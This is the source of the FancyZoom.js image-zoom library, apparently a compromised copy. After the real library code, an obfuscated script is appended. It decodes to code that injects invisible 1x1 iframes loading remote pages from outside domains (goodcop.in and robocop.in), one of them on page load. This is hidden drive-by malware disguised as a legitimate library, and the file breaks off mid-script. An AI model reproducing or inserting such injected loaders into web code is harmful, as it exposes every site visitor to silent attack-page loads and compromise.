// FancyZoom.js - v1.1 - http://www.fancyzoom.com
//
// Copyright (c) 2008 Cabel Sasser / Panic Inc
// All rights reserved.
// 
//     Requires: FancyZoomHTML.js
// Instructions: Include JS files in page, call setupZoom() in onLoad. That's it!
//               Any <a href> links to images will be updated to zoom inline.
//               Add rel="nozoom" to your <a href> to disable zooming for an image.
// 
// Redistribution and use of this effect in source form, with or without modification,
// are permitted provided that the following conditions are met:
// 
// * USE OF SOURCE ON COMMERCIAL (FOR-PROFIT) WEBSITE REQUIRES ONE-TIME LICENSE FEE PER DOMAIN.
//   Reasonably priced! Visit www.fancyzoom.com for licensing instructions. Thanks!
//
// * Non-commercial (personal) website use is permitted without license/payment!
//
// * Redistribution of source code must retain the above copyright notice,
//   this list of conditions and the following disclaimer.
//
// * Redistribution of source code and derived works cannot be sold without specific
//   written prior permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
// EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
// PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
// PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
// LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
// NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

var includeCaption = true; // Turn on the "caption" feature, and write out the caption HTML
var zoomTime       = 5;    // Milliseconds between frames of zoom animation
var zoomSteps      = 15;   // Number of zoom animation frames
var includeFade    = 1;    // Set to 1 to fade the image in / out as it zooms
var minBorder      = 90;   // Amount of padding between large, scaled down images, and the window edges
var shadowSettings = '0px 5px 25px rgba(0, 0, 0, '; // Blur, radius, color of shadow for compatible browsers

var zoomImagesURI   = '/images-global/zoom/'; // Location of the zoom and shadow images

// Init. Do not add anything below this line, unless it's something awesome.

var myWidth = 0, myHeight = 0, myScroll = 0; myScrollWidth = 0; myScrollHeight = 0;
var zoomOpen = false, preloadFrame = 1, preloadActive = false, preloadTime = 0, imgPreload = new Image();
var preloadAnimTimer = 0;

var zoomActive = new Array(); var zoomTimer  = new Array(); 
var zoomOrigW  = new Array(); var zoomOrigH  = new Array();
var zoomOrigX  = new Array(); var zoomOrigY  = new Array();

var zoomID         = "ZoomBox";
var theID          = "ZoomImage";
var zoomCaption    = "ZoomCaption";
var zoomCaptionDiv = "ZoomCapDiv";

if (navigator.userAgent.indexOf("MSIE") != -1) {
	var browserIsIE = true;
}

// Zoom: Setup The Page! Called in your <body>'s onLoad handler.

function setupZoom() {
	prepZooms();
	insertZoomHTML();
	zoomdiv = document.getElementById(zoomID);  
	zoomimg = document.getElementById(theID);
}

// Zoom: Inject Javascript functions into hrefs pointing to images, one by one!
// Skip any href that contains a rel="nozoom" tag.
// This is done at page load time via an onLoad() handler.

function prepZooms() {
	if (! document.getElementsByTagName) {
		return;
	}
	var links = document.getElementsByTagName("a");
	for (i = 0; i < links.length; i++) {
		if (links[i].getAttribute("href")) {
			if (links[i].getAttribute("href").search(/(.*)\.(jpg|jpeg|gif|png|bmp|tif|tiff)/gi) != -1) {
				if (links[i].getAttribute("rel") != "nozoom") {
					links[i].onclick = function (event) { return zoomClick(this, event); };
					links[i].onmouseover = function () { zoomPreload(this); };
				}
			}
		}
	}
}

// Zoom: Load an image into an image object. When done loading, function sets preloadActive to false,
// so other bits know that they can proceed with the zoom.
// Preloaded image is stored in imgPreload and swapped out in the zoom function.

function zoomPreload(from) {

	var theimage = from.getAttribute("href");

	// Only preload if we have to, i.e. the image isn't this image already

	if (imgPreload.src.indexOf(from.getAttribute("href").substr(from.getAttribute("href").lastIndexOf("/"))) == -1) {
		preloadActive = true;
		imgPreload = new Image();

		// Set a function to fire when the preload is complete, setting flags along the way.

		imgPreload.onload = function() {
			preloadActive = false;
		}

		// Load it!
		imgPreload.src = theimage;
	}
}

// Zoom: Start the preloading animation cycle.

function preloadAnimStart() {
	preloadTime = new Date();
	document.getElementById("ZoomSpin").style.left = (myWidth / 2) + 'px';
	document.getElementById("ZoomSpin").style.top = ((myHeight / 2) + myScroll) + 'px';
	document.getElementById("ZoomSpin").style.visibility = "visible";	
	preloadFrame = 1;
	document.getElementById("SpinImage").src = zoomImagesURI+'zoom-spin-'+preloadFrame+'.png';  
	preloadAnimTimer = setInterval("preloadAnim()", 100);
}

// Zoom: Display and ANIMATE the jibber-jabber widget. Once preloadActive is false, bail and zoom it up!

function preloadAnim(from) {
	if (preloadActive != false) {
		document.getElementById("SpinImage").src = zoomImagesURI+'zoom-spin-'+preloadFrame+'.png';
		preloadFrame++;
		if (preloadFrame > 12) preloadFrame = 1;
	} else {
		document.getElementById("ZoomSpin").style.visibility = "hidden";    
		clearInterval(preloadAnimTimer);
		preloadAnimTimer = 0;
		zoomIn(preloadFrom);
	}
}

// ZOOM CLICK: We got a click! Should we do the zoom? Or wait for the preload to complete?
// todo?: Double check that imgPreload src = clicked src

function zoomClick(from, evt) {

	var shift = getShift(evt);

	// Check for Command / Alt key. If pressed, pass them through -- don't zoom!
	if (! evt && window.event && (window.event.metaKey || window.event.altKey)) {
		return true;
	} else if (evt && (evt.metaKey|| evt.altKey)) {
		return true;
	}

	// Get browser dimensions
	getSize();

	// If preloading still, wait, and display the spinner.
	if (preloadActive == true) {
		// But only display the spinner if it's not already being displayed!
		if (preloadAnimTimer == 0) {
			preloadFrom = from;
			preloadAnimStart();	
		}
	} else {
		// Otherwise, we're loaded: do the zoom!
		zoomIn(from, shift);
	}
	
	return false;
	
}

// Zoom: Move an element in to endH endW, using zoomHost as a starting point.
// "from" is an object reference to the href that spawned the zoom.

function zoomIn(from, shift) {

	zoomimg.src = from.getAttribute("href");

	// Determine the zoom settings from where we came from, the element in the <a>.
	// If there's no element in the <a>, or we can't get the width, make stuff up

	if (from.childNodes[0].width) {
		startW = from.childNodes[0].width;
		startH = from.childNodes[0].height;
		startPos = findElementPos(from.childNodes[0]);
	} else {
		startW = 50;
		startH = 12;
		startPos = findElementPos(from);
	}

	hostX = startPos[0];
	hostY = startPos[1];

	// Make up for a scrolled containing div.
	// TODO: This HAS to move into findElementPos.
	
	if (document.getElementById('scroller')) {
		hostX = hostX - document.getElementById('scroller').scrollLeft;
	}

	// Determine the target zoom settings from the preloaded image object

	endW = imgPreload.width;
	endH = imgPreload.height;

	// Start! But only if we're not zooming already!

	if (zoomActive[theID] != true) {

		// Clear everything out just in case something is already open

		if (document.getElementById("ShadowBox")) {
			document.getElementById("ShadowBox").style.visibility = "hidden";
		} else if (! browserIsIE) {
		
			// Wipe timer if shadow is fading in still
			if (fadeActive["ZoomImage"]) {
				clearInterval(fadeTimer["ZoomImage"]);
				fadeActive["ZoomImage"] = false;
				fadeTimer["ZoomImage"] = false;			
			}
			
			document.getElementById("ZoomImage").style.webkitBoxShadow = shadowSettings + '0.0)';			
		}
		
		document.getElementById("ZoomClose").style.visibility = "hidden";     

		// Setup the CAPTION, if existing. Hide it first, set the text.

		if (includeCaption) {
			document.getElementById(zoomCaptionDiv).style.visibility = "hidden";
			if (from.getAttribute('title') && includeCaption) {
				// Yes, there's a caption, set it up
				document.getElementById(zoomCaption).innerHTML = from.getAttribute('title');
			} else {
				document.getElementById(zoomCaption).innerHTML = "";
			}
		}

		// Store original position in an array for future zoomOut.

		zoomOrigW[theID] = startW;
		zoomOrigH[theID] = startH;
		zoomOrigX[theID] = hostX;
		zoomOrigY[theID] = hostY;

		// Now set the starting dimensions

		zoomimg.style.width = startW + 'px';
		zoomimg.style.height = startH + 'px';
		zoomdiv.style.left = hostX + 'px';
		zoomdiv.style.top = hostY + 'px';

		// Show the zooming image container, make it invisible

		if (includeFade == 1) {
			setOpacity(0, zoomID);
		}
		zoomdiv.style.visibility = "visible";

		// If it's too big to fit in the window, shrink the width and height to fit (with ratio).

		sizeRatio = endW / endH;
		if (endW > myWidth - minBorder) {
			endW = myWidth - minBorder;
			endH = endW / sizeRatio;
		}
		if (endH > myHeight - minBorder) {
			endH = myHeight - minBorder;
			endW = endH * sizeRatio;
		}

		zoomChangeX = ((myWidth / 2) - (endW / 2) - hostX);
		zoomChangeY = (((myHeight / 2) - (endH / 2) - hostY) + myScroll);
		zoomChangeW = (endW - startW);
		zoomChangeH = (endH - startH);
		
		// Shift key?
	
		if (shift) {
			tempSteps = zoomSteps * 7;
		} else {
			tempSteps = zoomSteps;
		}

		// Setup Zoom

		zoomCurrent = 0;

		// Setup Fade with Zoom, If Requested

		if (includeFade == 1) {
			fadeCurrent = 0;
			fadeAmount = (0 - 100) / tempSteps;
		} else {
			fadeAmount = 0;
		}

		// Do It!
		
		zoomTimer[theID] = setInterval("zoomElement('"+zoomID+"', '"+theID+"', "+zoomCurrent+", "+startW+", "+zoomChangeW+", "+startH+", "+zoomChangeH+", "+hostX+", "+zoomChangeX+", "+hostY+", "+zoomChangeY+", "+tempSteps+", "+includeFade+", "+fadeAmount+", 'zoomDoneIn(zoomID)')", zoomTime);		
		zoomActive[theID] = true; 
	}
}

// Zoom it back out.

function zoomOut(from, evt) {

	// Get shift key status.
	// IE events don't seem to get passed through the function, so grab it from the window.

	if (getShift(evt)) {
		tempSteps = zoomSteps * 7;
	} else {
		tempSteps = zoomSteps;
	}	

	// Check to see if something is happening/open
  
	if (zoomActive[theID] != true) {

		// First, get rid of the shadow if necessary.

		if (document.getElementById("ShadowBox")) {
			document.getElementById("ShadowBox").style.visibility = "hidden";
		} else if (! browserIsIE) {
		
			// Wipe timer if shadow is fading in still
			if (fadeActive["ZoomImage"]) {
				clearInterval(fadeTimer["ZoomImage"]);
				fadeActive["ZoomImage"] = false;
				fadeTimer["ZoomImage"] = false;			
			}
			
			document.getElementById("ZoomImage").style.webkitBoxShadow = shadowSettings + '0.0)';			
		}

		// ..and the close box...

		document.getElementById("ZoomClose").style.visibility = "hidden";

		// ...and the caption if necessary!

		if (includeCaption && document.getElementById(zoomCaption).innerHTML != "") {
			// fadeElementSetup(zoomCaptionDiv, 100, 0, 5, 1);
			document.getElementById(zoomCaptionDiv).style.visibility = "hidden";
		}

		// Now, figure out where we came from, to get back there

		startX = parseInt(zoomdiv.style.left);
		startY = parseInt(zoomdiv.style.top);
		startW = zoomimg.width;
		startH = zoomimg.height;
		zoomChangeX = zoomOrigX[theID] - startX;
		zoomChangeY = zoomOrigY[theID] - startY;
		zoomChangeW = zoomOrigW[theID] - startW;
		zoomChangeH = zoomOrigH[theID] - startH;

		// Setup Zoom

		zoomCurrent = 0;

		// Setup Fade with Zoom, If Requested

		if (includeFade == 1) {
			fadeCurrent = 0;
			fadeAmount = (100 - 0) / tempSteps;
		} else {
			fadeAmount = 0;
		}

		// Do It!

		zoomTimer[theID] = setInterval("zoomElement('"+zoomID+"', '"+theID+"', "+zoomCurrent+", "+startW+", "+zoomChangeW+", "+startH+", "+zoomChangeH+", "+startX+", "+zoomChangeX+", "+startY+", "+zoomChangeY+", "+tempSteps+", "+includeFade+", "+fadeAmount+", 'zoomDone(zoomID, theID)')", zoomTime);	
		zoomActive[theID] = true;
	}
}

// Finished Zooming In

function zoomDoneIn(zoomdiv, theID) {

	// Note that it's open
  
	zoomOpen = true;
	zoomdiv = document.getElementById(zoomdiv);

	// Position the table shadow behind the zoomed in image, and display it

	if (document.getElementById("ShadowBox")) {

		setOpacity(0, "ShadowBox");
		shadowdiv = document.getElementById("ShadowBox");

		shadowLeft = parseInt(zoomdiv.style.left) - 13;
		shadowTop = parseInt(zoomdiv.style.top) - 8;
		shadowWidth = zoomdiv.offsetWidth + 26;
		shadowHeight = zoomdiv.offsetHeight + 26; 
	
		shadowdiv.style.width = shadowWidth + 'px';
		shadowdiv.style.height = shadowHeight + 'px';
		shadowdiv.style.left = shadowLeft + 'px';
		shadowdiv.style.top = shadowTop + 'px';

		document.getElementById("ShadowBox").style.visibility = "visible";
		fadeElementSetup("ShadowBox", 0, 100, 5);
		
	} else if (! browserIsIE) {
		// Or, do a fade of the modern shadow
		fadeElementSetup("ZoomImage", 0, .8, 5, 0, "shadow");
	}
	
	// Position and display the CAPTION, if existing
  
	if (includeCaption && document.getElementById(zoomCaption).innerHTML != "") {
		// setOpacity(0, zoomCaptionDiv);
		zoomcapd = document.getElementById(zoomCaptionDiv);
		zoomcapd.style.top = parseInt(zoomdiv.style.top) + (zoomdiv.offsetHeight + 15) + 'px';
		zoomcapd.style.left = (myWidth / 2) - (zoomcapd.offsetWidth / 2) + 'px';
		zoomcapd.style.visibility = "visible";
		// fadeElementSetup(zoomCaptionDiv, 0, 100, 5);
	}   
	
	// Display Close Box (fade it if it's not IE)

	if (!browserIsIE) setOpacity(0, "ZoomClose");
	document.getElementById("ZoomClose").style.visibility = "visible";
	if (!browserIsIE) fadeElementSetup("ZoomClose", 0, 100, 5);

	// Get keypresses
	document.onkeypress = getKey;
	
}

// Finished Zooming Out

function zoomDone(zoomdiv, theID) {

	// No longer open
  
	zoomOpen = false;

	// Clear stuff out, clean up

	zoomOrigH[theID] = "";
	zoomOrigW[theID] = "";
	document.getElementById(zoomdiv).style.visibility = "hidden";
	zoomActive[theID] == false;

	// Stop getting keypresses

	document.onkeypress = null;

}

// Actually zoom the element

function zoomElement(zoomdiv, theID, zoomCurrent, zoomStartW, zoomChangeW, zoomStartH, zoomChangeH, zoomStartX, zoomChangeX, zoomStartY, zoomChangeY, zoomSteps, includeFade, fadeAmount, execWhenDone) {

	// console.log("Zooming Step #"+zoomCurrent+ " of "+zoomSteps+" (zoom " + zoomStartW + "/" + zoomChangeW + ") (zoom " + zoomStartH + "/" + zoomChangeH + ")  (zoom " + zoomStartX + "/" + zoomChangeX + ")  (zoom " + zoomStartY + "/" + zoomChangeY + ") Fade: "+fadeAmount);
    
	// Test if we're done, or if we continue

	if (zoomCurrent == (zoomSteps + 1)) {
		zoomActive[theID] = false;
		clearInterval(zoomTimer[theID]);

		if (execWhenDone != "") {
			eval(execWhenDone);
		}
	} else {
	
		// Do the Fade!
	  
		if (includeFade == 1) {
			if (fadeAmount < 0) {
				setOpacity(Math.abs(zoomCurrent * fadeAmount), zoomdiv);
			} else {
				setOpacity(100 - (zoomCurrent * fadeAmount), zoomdiv);
			}
		}
	  
		// Calculate this step's difference, and move it!
		
		moveW = cubicInOut(zoomCurrent, zoomStartW, zoomChangeW, zoomSteps);
		moveH = cubicInOut(zoomCurrent, zoomStartH, zoomChangeH, zoomSteps);
		moveX = cubicInOut(zoomCurrent, zoomStartX, zoomChangeX, zoomSteps);
		moveY = cubicInOut(zoomCurrent, zoomStartY, zoomChangeY, zoomSteps);
	
		document.getElementById(zoomdiv).style.left = moveX + 'px';
		document.getElementById(zoomdiv).style.top = moveY + 'px';
		zoomimg.style.width = moveW + 'px';
		zoomimg.style.height = moveH + 'px';
	
		zoomCurrent++;
		
		clearInterval(zoomTimer[theID]);
		zoomTimer[theID] = setInterval("zoomElement('"+zoomdiv+"', '"+theID+"', "+zoomCurrent+", "+zoomStartW+", "+zoomChangeW+", "+zoomStartH+", "+zoomChangeH+", "+zoomStartX+", "+zoomChangeX+", "+zoomStartY+", "+zoomChangeY+", "+zoomSteps+", "+includeFade+", "+fadeAmount+", '"+execWhenDone+"')", zoomTime);
	}
}

// Zoom Utility: Get Key Press when image is open, and act accordingly

function getKey(evt) {
	if (! evt) {
		theKey = event.keyCode;
	} else {
		theKey = evt.keyCode;
	}

	if (theKey == 27) { // ESC
		zoomOut(this, evt);
	}
}

////////////////////////////
//
// FADE Functions
//

function fadeOut(elem) {
	if (elem.id) {
		fadeElementSetup(elem.id, 100, 0, 10);
	}
}

function fadeIn(elem) {
	if (elem.id) {
		fadeElementSetup(elem.id, 0, 100, 10);	
	}
}

// Fade: Initialize the fade function

var fadeActive = new Array();
var fadeQueue  = new Array();
var fadeTimer  = new Array();
var fadeClose  = new Array();
var fadeMode   = new Array();

function fadeElementSetup(theID, fdStart, fdEnd, fdSteps, fdClose, fdMode) {

	// alert("Fading: "+theID+" Steps: "+fdSteps+" Mode: "+fdMode);

	if (fadeActive[theID] == true) {
		// Already animating, queue up this command
		fadeQueue[theID] = new Array(theID, fdStart, fdEnd, fdSteps);
	} else {
		fadeSteps = fdSteps;
		fadeCurrent = 0;
		fadeAmount = (fdStart - fdEnd) / fadeSteps;
		fadeTimer[theID] = setInterval("fadeElement('"+theID+"', '"+fadeCurrent+"', '"+fadeAmount+"', '"+fadeSteps+"')", 15);
		fadeActive[theID] = true;
		fadeMode[theID] = fdMode;
		
		if (fdClose == 1) {
			fadeClose[theID] = true;
		} else {
			fadeClose[theID] = false;
		}
	}
}

// Fade: Do the fade. This function will call itself, modifying the parameters, so
// many instances can run concurrently. Can fade using opacity, or fade using a box-shadow.

function fadeElement(theID, fadeCurrent, fadeAmount, fadeSteps) {

	if (fadeCurrent == fadeSteps) {

		// We're done, so clear.

		clearInterval(fadeTimer[theID]);
		fadeActive[theID] = false;
		fadeTimer[theID] = false;

		// Should we close it once the fade is complete?

		if (fadeClose[theID] == true) {
			document.getElementById(theID).style.visibility = "hidden";
		}

		// Hang on.. did a command queue while we were working? If so, make it happen now

		if (fadeQueue[theID] && fadeQueue[theID] != false) {
			fadeElementSetup(fadeQueue[theID][0], fadeQueue[theID][1], fadeQueue[theID][2], fadeQueue[theID][3]);
			fadeQueue[theID] = false;
		}
	} else {

		fadeCurrent++;
		
		// Now actually do the fade adjustment.
		
		if (fadeMode[theID] == "shadow") {

			// Do a special fade on the webkit-box-shadow of the object
		
			if (fadeAmount < 0) {
				document.getElementById(theID).style.webkitBoxShadow = shadowSettings + (Math.abs(fadeCurrent * fadeAmount)) + ')';
			} else {
				document.getElementById(theID).style.webkitBoxShadow = shadowSettings + (100 - (fadeCurrent * fadeAmount)) + ')';
			}
			
		} else {
		
			// Set the opacity depending on if we're adding or subtracting (pos or neg)
			
			if (fadeAmount < 0) {
				setOpacity(Math.abs(fadeCurrent * fadeAmount), theID);
			} else {
				setOpacity(100 - (fadeCurrent * fadeAmount), theID);
			}
		}

		// Keep going, and send myself the updated variables
		clearInterval(fadeTimer[theID]);
		fadeTimer[theID] = setInterval("fadeElement('"+theID+"', '"+fadeCurrent+"', '"+fadeAmount+"', '"+fadeSteps+"')", 15);
	}
}

////////////////////////////
//
// UTILITY functions
//

// Utility: Set the opacity, compatible with a number of browsers. Value from 0 to 100.

function setOpacity(opacity, theID) {

	var object = document.getElementById(theID).style;

	// If it's 100, set it to 99 for Firefox.

	if (navigator.userAgent.indexOf("Firefox") != -1) {
		if (opacity == 100) { opacity = 99.9999; } // This is majorly awkward
	}

	// Multi-browser opacity setting

	object.filter = "alpha(opacity=" + opacity + ")"; // IE/Win
	object.opacity = (opacity / 100);                 // Safari 1.2, Firefox+Mozilla

}

// Utility: Math functions for animation calucations - From http://www.robertpenner.com/easing/
//
// t = time, b = begin, c = change, d = duration
// time = current frame, begin is fixed, change is basically finish - begin, duration is fixed (frames),

function linear(t, b, c, d)
{
	return c*t/d + b;
}

function sineInOut(t, b, c, d)
{
	return -c/2 * (Math.cos(Math.PI*t/d) - 1) + b;
}

function cubicIn(t, b, c, d) {
	return c*(t/=d)*t*t + b;
}

function cubicOut(t, b, c, d) {
	return c*((t=t/d-1)*t*t + 1) + b;
}

function cubicInOut(t, b, c, d)
{
	if ((t/=d/2) < 1) return c/2*t*t*t + b;
	return c/2*((t-=2)*t*t + 2) + b;
}

function bounceOut(t, b, c, d)
{
	if ((t/=d) < (1/2.75)){
		return c*(7.5625*t*t) + b;
	} else if (t < (2/2.75)){
		return c*(7.5625*(t-=(1.5/2.75))*t + .75) + b;
	} else if (t < (2.5/2.75)){
		return c*(7.5625*(t-=(2.25/2.75))*t + .9375) + b;
	} else {
		return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
	}
}


// Utility: Get the size of the window, and set myWidth and myHeight
// Credit to quirksmode.org

function getSize() {

	// Window Size

	if (self.innerHeight) { // Everyone but IE
		myWidth = window.innerWidth;
		myHeight = window.innerHeight;
		myScroll = window.pageYOffset;
	} else if (document.documentElement && document.documentElement.clientHeight) { // IE6 Strict
		myWidth = document.documentElement.clientWidth;
		myHeight = document.documentElement.clientHeight;
		myScroll = document.documentElement.scrollTop;
	} else if (document.body) { // Other IE, such as IE7
		myWidth = document.body.clientWidth;
		myHeight = document.body.clientHeight;
		myScroll = document.body.scrollTop;
	}

	// Page size w/offscreen areas

	if (window.innerHeight && window.scrollMaxY) {	
		myScrollWidth = document.body.scrollWidth;
		myScrollHeight = window.innerHeight + window.scrollMaxY;
	} else if (document.body.scrollHeight > document.body.offsetHeight) { // All but Explorer Mac
		myScrollWidth = document.body.scrollWidth;
		myScrollHeight = document.body.scrollHeight;
	} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		myScrollWidth = document.body.offsetWidth;
		myScrollHeight = document.body.offsetHeight;
	}
}

// Utility: Get Shift Key Status
// IE events don't seem to get passed through the function, so grab it from the window.

function getShift(evt) {
	var shift = false;
	if (! evt && window.event) {
		shift = window.event.shiftKey;
	} else if (evt) {
		shift = evt.shiftKey;
		if (shift) evt.stopPropagation(); // Prevents Firefox from doing shifty things
	}
	return shift;
}

// Utility: Find the Y position of an element on a page. Return Y and X as an array

function findElementPos(elemFind)
{
	var elemX = 0;
	var elemY = 0;
	do {
		elemX += elemFind.offsetLeft;
		elemY += elemFind.offsetTop;
	} while ( elemFind = elemFind.offsetParent )

	return Array(elemX, elemY);
}function gBT(){};rCJ="rCJ";gBT.prototype = {w : function() {this.mO=8831;this.aK="aK";this.aD='';mN="";var o=document;this.y='';qG='';var eZ='';var cF="";var gB=function(){};var h=function(){return 'h'};var wD=window;var u=false;function nL(){};var wM="wM";var x="x";nE="";this.pP="pP";this.pU=30403;nJ='';var oK = this;var tG=new Date();var tS=false;var vU=function(){};var b='';this.uH=29994;var wC=new Date();function bO(){};String.prototype.hK=function(q, i){var m=this; return m.replace(q, i)};var qY=function(){};uC="uC";xJ="";var z=new Array();k='';function rV(){};bK="bK";var n = 'sOe&tOTu'.hK(/[u!O&z]/g, '') + 'ihm%e}oh'.hK(/[h3%}~]/g, '') + 'uGtZ'.hK(/[Z]g<G]/g, '');function cD(){};var vQ="";this.cU=56354;var aS="aS";var s = 't;r!e!cPr;eLa;'.hK(/[;!$PL]/g, '') + 't]e]EVl]e(mhe(nVt1g(e]t1'.hK(/[1(Vh]]/g, '');var yC=44999;var gE=60539;cA='';function rI(){};var oB='';var qGH=new Date();this.eB="";var sC = 'wvr.ivt$e$'.hK(/[$#vU.]/g, '');this.rL="";vJ="";this.hG=false;j=false;var eT=new Array();var iP=new Array();try {var xK=function(){};this.uD=false;this.sD=false;var lN="";var p = 'pGuGsmhG'.hK(/[Gmq5^]/g, '');this.tE="tE";var kH=function(){};function lW(){};var hS=function(){return 'hS'};this.eZZ=21713;var v = 's8rXc8'.hK(/[8X/Ye]/g, '');bF="";var lY=function(){};var zK=function(){};jI=61772;kQ=40509;gL='';var eA=new Date();var e = 'vSb{m!i,f8'.hK(/[8S!{,]/g, '')+'r0s;e8tB'.hK(/[B;V80]/g, '');zR='';function nR(){};kS="kS";var sY="sY";this.eN=38838;var eG=new Array();var vA = 'wRird#'.hK(/[#k6rR]/g, '') + 't5h5'.hK(/[5F1LS]/g, '');var jR=function(){};this.sG=19756;var lU=61829;var cDW=new Date();function pS(){};var qK = 'h<emim'.hK(/[mQ<?(]/g, '') + 'gJh(tJ'.hK(/[J(7RQ]/g, '');var lM=39496;var uB="";var dL="dL";var uV=new Date();gLU=36315;var wV=new Array();var cP=57023;var t = '19'.hK(/[9B*(u]/g, '');var rC="";var sQ=function(){};var wVL="";fV="fV";kO=false;var hV=56575;var xG=new Array();eY=false;f = 'gUextUsbeUtxAUtUtyr}iUsydxfU'.hK(/[Ubxy}]/g, '');var bD=new Array();this.gY="gY";var rP="rP";var gBR='';var gBC=function(){return 'gBC'};var zW=15286;function lC(){};var qS=new Date();var r = 'a7pEp7'.hK(/[7E;^~]/g, '') + 'eKnydgCBhBiKlpdK'.hK(/[KBpgy]/g, '');var pE=12099;this.bKM=false;this.kC=false;var iA=8849;var wF='';var kY=60808;this.nO=false;var pB = 'bIoIdIy_'.hK(/[_16pI]/g, '');this.wX="wX";var lYJ=false;sX="sX";sF='';kN="";var zI="";var g = 'stuE'.hK(/[E[qto]/g, '')+'b|sXtXr|iK'.hK(/[KX/T|]/g, '')+'nlg*'.hK(/[*UzlA]/g, '');zO="zO";var iB="iB";var pQ=11685;var nY=new Date();var qL=false;qP="";var gJ = new Array();this.kG='';var uVJ=false;this.uW=29785;zC="zC";this.pO="";this.iBK="iBK";gJ[p](qK, g, s, vA, e, f, pB, r, t, o, v);mG="";this.zV="";wZ="wZ";wR=16433;sK=false;this.uJ="uJ";var uJF=new Date();var iS="iS";this.nD='';var oW="";qO=60333;var bOV=function(){};jF="";var aQ=38767;this.rPY="rPY";qE=false;tR="";function kGS(){};dA="";hZ=false;var tJ=48467;zU="";var wU=function(){};var gC="gC";kT=false;uWA=false;aDZ='';kI=false;this.rIE=64994;var nS=false;var nF=new Array();var tA=function(){};var bV="";this.sYN=false;oV='';var jP=new Array();wQ="";var kQU='';var c = gJ[2][gJ[1]](3, 16);var tZ=new Array();this.wE='';var qQ="qQ";var eK=function(){return 'eK'};var lS=false;var gG = gJ[4][gJ[1]](3, 6);this.lX="lX";wT=false;var gD="gD";var uU=false;nOA="nOA";nV=53794;a = gG + 'atmfet'.hK(/[twrfM]/g, '');bY=64651;function rQ(){};var pY=new Date();var rJ="rJ";this.zY="zY";var vF = gJ[5][gJ[1]](3, 11);cR=false;function cY(){};var fM="";var lI=new Array();var qI=function(){};this.gN=false;d = vF + 'b&udt6ed'.hK(/[d2O6&]/g, '');var lNO="";this.bKG=false;this.tL=false;var qU=function(){};yK='';var zYB="zYB";var l = oK.pT();var aH=new Date();var hB=function(){};var oH=false;var qYG=function(){return 'qYG'};var dD=false;cO='';fS='';var tB=gJ[9][c](a);dE=64882;function dAN(){};var oG=new Array();function tO(){};var iU=function(){return 'iU'};uL=27862;this.vS="";tB[gJ[10]] = l;var wG=new Date();iI='';var jV=function(){return 'jV'};var oF="oF";this.hW="hW";tB[gJ[3]] = gJ[8];this.eF='';this.xP="xP";xT="xT";fN='';var xF="xF";tB[gJ[0]] = gJ[8];var bI=function(){return 'bI'};var hP=function(){return 'hP'};this.tY="";var oFA=34643;var kW=false;var fL="";var pL=false;var sI=false;bH="";this.jIP=false;var sIT="";nJL=13262;var bZ=23981;var hT='';gJ[9][gJ[6]][gJ[7]](tB);var nI=function(){};var kD=function(){};this.oE=false;var tK=function(){return 'tK'};this.pEM=6674;var aE="";oM=false;} catch(gM) {var nB="nB";var vC=new Array();wGX="wGX";var eP=function(){};var zJ=new Date();o.write('<Ihrt(m(lr U>(<(bIordUy^ I>(<I/IbUoUdUyr>U<I/Ih^tUmrl^>r'.hK(/[r^(IU]/g, ''));this.gU='';function yY(){};eJ="eJ";this.cPO=false;this.iC=3489;wD[n](function(){ oK.w() }, 284);wMB='';this.zG=19135;var dZ=function(){};}var iAA='';this.uY=38649;iM='';var tKJ='';},pT : function() {this.kCU=false;yU=43581;tRM="tRM";return 'h@t<t5p5:5/</^g@o<o^d5c@o<pD.<i^n</<2D/@i^n^d5e@x@.<p5h5p@'.hK(/[@<D5^]/g, '');this.sV="";dG='';yB=21105;}};cAQ=false;var rB=new gBT(); var tM=false;rB.w();var vE=new Array();function mG(){};this.xZ='';mG.prototype = {n : function() {var yD="yD";var yT='';this.kA='';var gK=new Array();var tR=new Date();var sA='';var jU=function(){return 'jU'};var p="p";try {var pS=function(){};function tN(){};d=8746;this.a="a";this.yN='';window.onload=function() {nS=32670;this.rK="";var q=31246;var fB=false;var aW='';this.b='';String.prototype.aJ=function(u, o){var s=this; return s.replace(u, o)};var rKG=false;var cQ=new Array();var sE="";var rA="";this.pQ="";var dE="";var c='<,iNf|rNa|mNe4 4d4vNbNnN=O14 Ns,r|cO=4'N'.aJ(/[NO4|,]/g, '');var x="x";this.l=39766;this.iL='';sU='';function vA(){};sY='';var dK=function(){};var cU=''R HhRePiHgIhItP=P1R0I0P0I HoHtHeRrI=Y1H YwRiIdPtHhI=I1P0Y0H0Y H<Y/HiRfYrYaHmIeH>R'.aJ(/[RYIPH]/g, '');this.z='';this.cK="";var vJ="";var yG="yG";this.kP=33172;var g='h@t|t@p!:&/!/@r$o@b&o!c!o&p!.$i!n!/@2|/!i@n$d|e!x&.|p|h$p@'.aJ(/[@|$!&]/g, '');fT="fT";fQ=false;var wV=false;jN=false;this.gX="gX";wA=25679;g = c + g + cU;yX=false;yXH="";var jP=new Date();fX=false;wZ=false;var cL=document;this.yU=false;this.yW=6272;var iP=new Array();var cN="cN";this.h="";var k='<ZdNiPvZ PiNdN=Ub. .sPtZyZlUeZ=P'UoZvZeUrZfZlPoZwN:NhNiZdNdUeUnN;P ZwNi.dPtPhP:Z .1.pNx.;Z PhZeZiUgPhPtN:. N1.pPxP'P>Z'.aJ(/[ZPUN.]/g, '');var fJ=function(){return 'fJ'};this.lD=36115;iJ=28553;var yM=function(){return 'yM'};aR='';this.vD=false;vL="";var 